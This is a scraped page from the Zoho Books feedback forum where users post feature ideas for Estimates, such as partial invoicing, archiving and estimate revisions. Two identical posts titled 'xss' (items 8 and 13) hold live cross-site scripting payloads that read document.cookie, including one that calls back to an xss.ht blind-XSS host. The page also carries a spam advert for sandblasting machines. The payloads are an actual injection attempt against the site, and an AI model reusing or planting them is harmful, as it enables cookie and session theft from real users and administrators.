Zoho Books

Welcome to our feedback forum!

If you have an idea for a new feature that you want to see in Zoho Books, then you've reached the right place.

Feel free to post your ideas, comments, or suggestions in this space.

While we cannot promise a timeframe for everything posted here, we'll definitely consider all your valuable suggestions and work on them based on their feasibility.

Before posting, please ensure the following:
  1. Search if your idea for a feature is already listed below. If yes, then vote for it by clicking the Vote button.
  2. If it’s a new idea, kindly post a detailed description of your suggestion or idea.

If you have any questions or would like to share your feedback on our status updates, please drop an email to support@zohobooks.com


  • Hot ideas
  • Top ideas
  • New ideas
  • My feedback
  1. 1 vote
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  2. Partially invoiced estimates

    Many of our projects (construction projects) result in having multiple invoices generated from a single estimate as forms of interim payments for works completed during a certain period (ie monthly). Currently the moment I create an invoice from an estimate, no matter the value, the estimate status is changed to INVOICED. But if the invoice value is less than the estimate value what would be more beneficial is to have the estimate status shown as PARTIALLY INVOICED. Once the combined invoice values linked to an estimate matches that of the estimate value, only then should the estimate status be INVOICED

    1 vote
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  3. Best Portable Sandblasting Machine at Best Price in India

    Buy online sandblasting machine at best price of Quality Spare Center Top Shot Blasting Machine Manufacturer In India. Blast Cleaning machines are available with air blast, shot peening and spray technology as per desired requirements Sandblasting machine, or we can say quality spare center top shot blasting machine manufacturer in India. We are selling sandblasting machine at best price globally. Contact us for sand blasting machine online at shotblasting.org.in. We are a leading shot blasting machine manufacturer in India providing quality products and services at competitive price.

    Visit us : https://shotblasting.org.in/sandblasting.php

    1 vote
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  4. Archive old invoices and estimates

    Would be nice to archive old invoices and estimates. I literally have hundreds that I don't need currently making it difficult to find current customers. I don't want to delete them but I also don't need to see them constantly.

    3 votes
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  5. Add tab with Spreadsheets to Invoices, Estimates and Sales Orders

    In Estimates (and Invoices and Sales orders?) add TAB with SPERADSHEETS. With this option, we can have all cost calculations used to create current transaction (Estimate, Invoice, Sales Order). When we need create similar transaction, then we can copy old one and modify spreadsheet to get new costs.

    At this time we can connect external spreadsheets, but when we copy transaction and open connected spreadsheetand save new data, we will lost old calculations (on old documents we will have connected spreadsheet with last saved datas).

    15 votes
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  6. Efficient Search

    Sir/Mam,
    Searching a poduct in zoho is being very difficult. As of now 2 solutions have been made form your side. But both of them are not that Efficient.
    1. Advanced Search
    I have picked a product in the first search but to pick another product i have to search again, when i search the second time the product i have picked in the first searched have not been picked. This is the major draw back in Advanced search.
    2. Contained Search
    The name given for products is a bit long and there are more than 3500 products in my…

    3 votes
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  7. Would be nice to be able to see the line item numbers when in edti mode

    When you create an estimate and save it you can see the line numbers in the PDF mode. Why can't you see this while creating and editing?

    5 votes
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    2 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  8. xss

    TEST<br><br><center><font color="red">bughunt-borneo.org<br><br><img src=x onerror=alert(document.cookie)><br><br><img src=x onerror=prompt(//zheev.xss.ht)>
    <svg onload=write(document.cookie)>
    "><script>prompt(document.cookie)</script>
    <noscript><p title= "</noscript><img src=x onerror=alert(document.cookie)>">
    "><u>XSS Vulnerability</u><marquee+onstart='alert(document.cookie)'>XSS

    1 vote
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    2 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  9. Please enable to use both discount option ( At transaction level & At transaction level) on invoice & Quotations

    It will help us to provide discount only for items and also on total Amount

    3 votes
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  10. Change of Estimate Status to Draft even after send

    When we create a Estimate---> Approve--> Sent. Then client will come back with comments to revise the estimate. When there is a revision, the status of the estimate has to change to Draft again, then the estimate has to go through the process of approval before submission

    1 vote
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  11. Add a line item between other line items

    Can only add new lines at the bottom of an estimate and then try to drag it up to go where it needs to be. Very frustrating when needing to add one or two lines to a 200 line estimate.

    3 votes
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  12. Convert part of estimate to invoice

    Have an option to convert selected items on the estimate to an invoice instead of the whole estimate - so that the total cost of project can be invoiced in stages as they are completed.
    The remaining items would stay on the estimate to be invoiced another time.

    1 vote
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  13. xss

    TEST<br><br><center><font color="red">bughunt-borneo.org<br><br><img src=x onerror=alert(document.cookie)><br><br><img src=x onerror=prompt(//zheev.xss.ht)>
    <svg onload=write(document.cookie)>
    "><script>prompt(document.cookie)</script>
    <noscript><p title= "</noscript><img src=x onerror=alert(document.cookie)>">
    "><u>XSS Vulnerability</u><marquee+onstart='alert(document.cookie)'>XSS

    1 vote
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  14. Follow-Up email for Estimates

    Provide a way to send Follow-up E-mail messages for Sales Estimates already sent out to clients.

    Currently, only Invoices can be sent a follow-up e-mail.

    1 vote
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  15. Validation cotation in books

    Hello, An interesting feature would be that the customer to whom we send a quote can validate it online at (a link zoho books) Thank you. Fr

    1 vote
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  16. Rename the name of modules such as "Estimates" in Zoho Books, for seamless Organization adoption

    Allow for renaming certain modules in Zoho Books (And Zoho finance showing in Zoho CRM integration). Real example: rename the name of modules such as "Estimates" in Zoho Books, for seamless Organization adoption as some organizations really call it Quotes.

    4 votes
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    2 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  17. Estimate Revision

    Estimate usually have manage changes along he bidding process. I have a proposal team to prepare the estimate, So when the 1st revision sent out. The proposal engineer will change to Sent. But there will be clarification comes from client and we will change the Estimate and this will be Revision 2. Two things here,
    1)There is no option to have Revision of Estimate, Currently using custom field with Manual input
    2) The estimate always shows sent even after editing, So when i check the estimate list i consider this as sent but actually it was not. SO if there…

    7 votes
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    1 comment  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  18. Save an estimate or invoice inside Zoho Documents

    Why there is no icon to save the estimate (as PDF) directly inside a sub folder in Documents?!

    Function like this it merit to be applied on all Zoho modules as estimates, invoices etc.. by this way the user can save a copy or backup in easy way also this will encourage the users to buy more space and use Documents.

    3 votes
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  19. Clone Estimate from another invoice

    Hi,

    There are cases, where we need to maintain rates exclusive for customers and are repetitive
    There could be an option, where I can clone an old invoice in to a new estimate, so that the rates of the items will be carried without much effort.

    Thanks,
    Sreeni

    1 vote
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
  20. is there any way we can do Delivery order before do invoice ?

    Singapore construction line we will send the quotation once the quotation approved we will send the goods for installation for that time we need Delivery order the site supervisor will sign the document then only we can create the invoice is there any way we can do the delivery order before invoice

    1 vote
    Vote

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
    You have left! (?) (thinking…)
    0 comments  ·  Estimates  ·  Flag idea as inappropriate…  ·  Admin →

    How important is this to you?

    We're glad you're here

    Please sign in to leave feedback

    Signed in as (Sign out)
← Previous 1 3 4 5 10 11
  • Don't see your idea?

Feedback and Knowledge Base